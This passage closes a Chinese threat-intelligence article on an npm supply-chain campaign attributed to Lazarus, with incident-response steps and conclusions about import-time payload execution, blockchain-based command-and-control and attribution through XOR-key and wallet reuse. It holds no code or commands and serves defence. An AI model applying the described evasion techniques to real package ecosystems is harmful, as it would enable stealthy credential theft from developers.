| 6 | 应急响应预案:npm 包下架后处置 | 一旦发现已安装恶意包:立即隔离终端、轮换所有可能泄露的凭据(npm token、SSH 密钥、CI/CD secret、云凭据)、检查区块链 C2 钱包交互日志确认是否已回连、全量扫描 node_modules 与构建产物。 |
九、结论与启示
ChainVeil / ViteVenom 攻击标志着 npm 供应链攻击进入"国家级 APT + 区块链基础设施"的新阶段。三点核心启示:
第一,"无 install 脚本 = 安全"的假设已被彻底击穿。 传统检测工具长期把重心放在 preinstall/postinstall 钩子上,而本攻击将载荷藏于包入口文件、在 Import 时执行,使整整一代扫描器沦为摆设。防御方必须将检测范围从"install 时执行"扩展到"Import 时执行"——任何包的 main 入口都应接受静态分析与沙箱行为检测。
第二,区块链 C2 把"抗关停"推向了新高度。 攻击者不再依赖可被封禁的域名或 IP,而是把指令刻在公链共识数据中。这意味着"封 IP"这一传统应急手段对区块链 C2 几乎无效。防守方必须学会"链上威胁情报"——监控攻击者钱包的活动、在出站流量中检测区块链 RPC 调用、把链上地址作为一等 IoC 纳入 SIEM。本次分析中 TRON 钱包历史追溯到 2025 年 6 月,恰恰说明链上数据是攻击者无法抹除的"犯罪现场",反而为溯源提供了比传统基础设施更可靠的证据。
第三,归属靠的是工程化指纹,而非单点猜测。 五组字节级重合指纹(XOR 密钥 ×3、TRON 钱包 ×2、Aptos 地址 ×1)加上 Campaign Marker 体系与时间线佐证,构成了多维证据矩阵。其中 128 比特 XOR 密钥跨活动完全一致,在统计上排除了巧合。这提示防御方:APT 组织的"代码复用"习惯是其阿喀琉斯之踵,建立跨活动的 IoC 关联图谱(密钥复用、混淆种子复用、钱包复用)是高质量归属分析的关键。
Lazarus 通过 PolinRider 把 Contagious Interview 的载荷引擎从"一对一钓鱼"升级为"一对多投毒",受害面从个别开发者扩展到整个前端生态。对 DevSecOps 工程师而言,这不是又一起"npm 投毒"——这是一次国家级 APT 对开发者工具链的定向渗透,防御标准必须随之升级。
本文 IoC 与技术细节基于 OpenSourceMalware 2026-07-17 归属报告与样本逆向分析整理。攻击者可能持续演化载荷与基础设施,请以最新威胁情报为准。
浙公网安备 33010602011771号